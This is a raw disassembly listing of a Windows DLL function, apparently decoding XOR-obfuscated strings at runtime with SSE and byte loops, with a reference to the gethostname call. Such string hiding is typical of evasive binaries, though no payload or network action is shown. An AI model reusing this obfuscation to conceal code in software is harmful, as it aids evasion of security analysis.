movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2f40]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1ae0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ae4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ae4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ae0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180089dd0
lea rax, [rbp + 0x1ae0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x180089e10
lea rdx, [rbp + 0x1ae0]
jmp 0x180090ce1
cmp byte [0x1801c2f59], r14b
movsd xmm0, qword [0x1801c2f50]
movzx eax, word [0x1801c2f58]
movsd qword [rbp + 0x10e8], xmm0
mov word [rbp + 0x10f0], ax
je 0x180089e92
xor byte [rbp + 0x10e9], 0x37
xor byte [rbp + 0x10ea], 0x38
xor byte [rbp + 0x10eb], 0x39
xor byte [rbp + 0x10ec], 0x3a
xor byte [rbp + 0x10ed], 0x3b
xor byte [rbp + 0x10ee], 0x3c
xor byte [rbp + 0x10ef], 0x3d
xor byte [rbp + 0x10f0], 0x3e
xor byte [rbp + 0x10f1], 0x3f
mov byte [rbp + 0x10e8], 0x41
lea rax, [rbp + 0x10e8]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180089ea0
lea rdx, [rbp + 0x10e8]
jmp 0x180090ce1
movzx eax, byte [0x1801c2f68]
mov r8, r13
movsd xmm0, qword [str.eCMW]
movsd qword [rbp + 0xe38], xmm0
xor byte [rbp + 0xe39], 0x37
xor byte [rbp + 0xe3a], 0x38
xor byte [rbp + 0xe3b], 0x39
xor byte [rbp + 0xe3c], 0x3a
xor byte [rbp + 0xe3d], 0x3b
xor byte [rbp + 0xe3e], 0x3c
xor byte [rbp + 0xe3f], 0x3d
xor al, 0x3e
mov byte [rbp + 0xe38], 0x53
mov byte [rbp + 0xe40], al
lea rax, [rbp + 0xe38]
inc r8
cmp byte [rax + r8], r14b
jne 0x180089f16
lea rdx, [rbp + 0xe38]
jmp 0x180090ce1
movzx ecx, word [0x1801c2f78]
mov r8, r13
movzx eax, byte [0x1801c2f7a]
movsd xmm0, qword [str.fKMUW]
movsd qword [rbp + 0x1348], xmm0
xor byte [rbp + 0x1349], 0x37
xor byte [rbp + 0x134a], 0x38
xor byte [rbp + 0x134b], 0x39
xor byte [rbp + 0x134c], 0x3a
xor byte [rbp + 0x134d], 0x3b
xor byte [rbp + 0x134e], 0x3c
xor byte [rbp + 0x134f], 0x3d
mov word [rbp + 0x1350], cx
xor cl, 0x3e
xor byte [rbp + 0x1351], 0x3f
xor al, 0x40
mov byte [rbp + 0x1348], 0x50
mov byte [rbp + 0x1352], al
lea rax, [rbp + 0x1348]
mov byte [rbp + 0x1350], cl
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180089fb0
lea rdx, [rbp + 0x1348]
jmp 0x180090ce1
movzx ecx, word [0x1801c2f88]
mov r8, r13
movzx eax, byte [0x1801c2f8a]
movsd xmm0, qword [0x1801c2f80]
movsd qword [rbp + 0x1358], xmm0
xor byte [rbp + 0x1359], 0x37
xor byte [rbp + 0x135a], 0x38
xor byte [rbp + 0x135b], 0x39
xor byte [rbp + 0x135c], 0x3a
xor byte [rbp + 0x135d], 0x3b
xor byte [rbp + 0x135e], 0x3c
xor byte [rbp + 0x135f], 0x3d
mov word [rbp + 0x1360], cx
xor cl, 0x3e
xor byte [rbp + 0x1361], 0x3f
xor al, 0x40
mov byte [rbp + 0x1358], 0x53
mov byte [rbp + 0x1362], al
lea rax, [rbp + 0x1358]
mov byte [rbp + 0x1360], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x18008a044
lea rdx, [rbp + 0x1358]
jmp 0x180090ce1
movzx eax, byte [0x1801c2fa0]
mov r8d, r14d
mov byte [rbp + 0x2080], al
movups xmm0, xmmword [0x1801c2f90]
movups xmmword [rbp + 0x2070], xmm0
cmp r12d, 2
jl 0x18008a19b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2074]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008a0a0
cmp r8d, 0x11
jge 0x18008a1e4
movsxd rax, r8d
lea r9, [rbp + 0x2070]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18008a1b0
lea rax, [rbp + 0x2070]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008a1f0
lea rdx, [rbp + 0x2070]
jmp 0x180090ce1
mov eax, dword [0x1801c2fb0]
mov r8d, r14d
movsd xmm0, qword [str.RYOCelTMK__B]
mov dword [rbp + 0x1768], eax
movzx eax, byte [0x1801c2fb4]
mov byte [rbp + 0x176c], al
movsd qword [rbp + 0x1760], xmm0
cmp r12d, 2
jl 0x18008a328
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.RYOCelTMK__B]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1760], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1764]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1764], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1760]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008a340
lea rax, [rbp + 0x1760]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008a380
lea rdx, [rbp + 0x1760]
jmp 0x180090ce1
mov eax, dword [0x1801c2fc0]
mov r8d, r14d
movsd xmm0, qword [str._VM_Y]
mov dword [rbp + 0x1cf8], eax
movzx eax, word [0x1801c2fc4]
mov word [rbp + 0x1cfc], ax
movzx eax, byte [0x1801c2fc6]
mov byte [rbp + 0x1cfe], al
movsd qword [rbp + 0x1cf0], xmm0
cmp r12d, 2
jl 0x18008a4c6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._VM_Y]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1cf0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1cf4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1cf4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1cf0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008a4e0
lea rax, [rbp + 0x1cf0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008a520
lea rdx, [rbp + 0x1cf0]
jmp 0x180090ce1
cmp byte [0x1801c2fd1], r14b
movsd xmm0, qword [str.p_YK_eHP_]
movzx eax, word [0x1801c2fd0]
movsd qword [rbp + 0x10f8], xmm0
mov word [rbp + 0x1100], ax
je 0x18008a5a2
xor byte [rbp + 0x10f9], 0x37
xor byte [rbp + 0x10fa], 0x38
xor byte [rbp + 0x10fb], 0x39
xor byte [rbp + 0x10fc], 0x3a
xor byte [rbp + 0x10fd], 0x3b
xor byte [rbp + 0x10fe], 0x3c
xor byte [rbp + 0x10ff], 0x3d
xor byte [rbp + 0x1100], 0x3e
xor byte [rbp + 0x1101], 0x3f
mov byte [rbp + 0x10f8], 0x46
lea rax, [rbp + 0x10f8]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008a5b0
lea rdx, [rbp + 0x10f8]
jmp 0x180090ce1
movups xmm0, xmmword [0x1801c2fd8]
movups xmmword [rbp + 0x1d40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008a744
cmp r12d, 2
jl 0x18008a705
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1d44]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008a610
jmp 0x18008a744
lea r9, [rbp + 0x1d40]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008a710
lea rax, [rbp + 0x1d40]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008a750
lea rdx, [rbp + 0x1d40]
jmp 0x180090ce1
mov eax, dword [0x1801c2ff0]
mov r8d, r14d
movsd xmm0, qword [0x1801c2fe8]
mov dword [rbp + 0x1d08], eax
movzx eax, word [0x1801c2ff4]
mov word [rbp + 0x1d0c], ax
movzx eax, byte [0x1801c2ff6]
mov byte [rbp + 0x1d0e], al
movsd qword [rbp + 0x1d00], xmm0
cmp r12d, 2
jl 0x18008a896
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2fe8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1d00], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1d04]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1d04], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1d00]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008a8b0
lea rax, [rbp + 0x1d00]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008a8f0
lea rdx, [rbp + 0x1d00]
jmp 0x180090ce1
mov eax, dword [0x1801c3008]
mov r8d, r14d
mov dword [rbp + 0x2548], eax
movzx eax, byte [0x1801c300c]
mov byte [rbp + 0x254c], al
movups xmm0, xmmword [str.RYOCenXHP_71d_b_g]
movups xmmword [rbp + 0x2538], xmm0
cmp r12d, 2
jl 0x18008aa4b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x253c]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008a950
cmp r8d, 0x15
jge 0x18008aa94
movsxd rax, r8d
lea r9, [rbp + 0x2538]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x18008aa60
lea rax, [rbp + 0x2538]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008aaa0
lea rdx, [rbp + 0x2538]
jmp 0x180090ce1
cmp byte [0x1801c301d], r14b
mov eax, dword [0x1801c3018]
movsd xmm0, qword [0x1801c3010]
mov dword [rbp + 0x1af8], eax
movzx eax, word [0x1801c301c]
mov word [rbp + 0x1afc], ax
movsd qword [rbp + 0x1af0], xmm0
je 0x18008ac34
mov r8d, r14d
cmp r12d, 2
jl 0x18008abe6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3010]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1af0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1af4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1af4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1af0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008ac00
lea rax, [rbp + 0x1af0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ac40
lea rdx, [rbp + 0x1af0]
jmp 0x180090ce1
mov eax, dword [0x1801c3028]
mov r8d, r14d
movsd xmm0, qword [str.uRJXWR_]
mov dword [rbp + 0x1d18], eax
movzx eax, word [0x1801c302c]
mov word [rbp + 0x1d1c], ax
movzx eax, byte [0x1801c302e]
mov byte [rbp + 0x1d1e], al
movsd qword [rbp + 0x1d10], xmm0
cmp r12d, 2
jl 0x18008ad86
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.uRJXWR_]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1d10], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1d14]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1d14], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1d10]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008ada0
lea rax, [rbp + 0x1d10]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ade0
lea rdx, [rbp + 0x1d10]
jmp 0x180090ce1
cmp byte [0x1801c3039], r14b
movsd xmm0, qword [str._KUeopy_]
movzx eax, word [0x1801c3038]
movsd qword [rbp + 0xf88], xmm0
mov word [rbp + 0xf90], ax
je 0x18008ae62
xor byte [rbp + 0xf89], 0x37
xor byte [rbp + 0xf8a], 0x38
xor byte [rbp + 0xf8b], 0x39
xor byte [rbp + 0xf8c], 0x3a
xor byte [rbp + 0xf8d], 0x3b
xor byte [rbp + 0xf8e], 0x3c
xor byte [rbp + 0xf8f], 0x3d
xor byte [rbp + 0xf90], 0x3e
xor byte [rbp + 0xf91], 0x3f
mov byte [rbp + 0xf88], Ordinal_79
lea rax, [rbp + 0xf88]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ae70
lea rdx, [rbp + 0xf88]
jmp 0x180090ce1
cmp byte [reloc.WS2_32.dll_gethostname], r14b
mov eax, dword [0x1801c303c]
mov dword [rbp - 0x60], eax
je 0x18008af45
cmp r12d, 2
jl 0x18008af0a
movdqa xmm1, xmm15
movdqa xmm0, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x60], xmm1
jmp 0x18008af45
lea r9, [rbp - 0x60]
mov r8d, r14d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x18008af11
lea rax, [rbp - 0x60]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008af50
lea rdx, [rbp - 0x60]
jmp 0x180090ce1
cmp byte [0x1801c3049], r14b
movsd xmm0, qword [0x1801c3040]
movzx eax, word [0x1801c3048]
movsd qword [rbp + 0x1118], xmm0
mov word [rbp + 0x1120], ax
je 0x18008afcf
xor byte [rbp + 0x1119], 0x37
xor byte [rbp + 0x111a], 0x38
xor byte [rbp + 0x111b], 0x39
xor byte [rbp + 0x111c], 0x3a
xor byte [rbp + 0x111d], 0x3b
xor byte [rbp + 0x111e], 0x3c
xor byte [rbp + 0x111f], 0x3d
xor byte [rbp + 0x1120], 0x3e
xor byte [rbp + 0x1121], 0x3f
mov byte [rbp + 0x1118], 0x53
lea rax, [rbp + 0x1118]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008afe0
lea rdx, [rbp + 0x1118]
jmp 0x180090ce1
cmp byte [0x1801c305b], r14b
movsd xmm0, qword [0x1801c3050]
mov eax, dword [str.mr_aA]
movsd qword [rbp + 0x1608], xmm0
mov dword [rbp + 0x1610], eax
je 0x18008b164
mov r8d, r14d
cmp r12d, 2
jl 0x18008b118
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3050]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1608], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x160c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
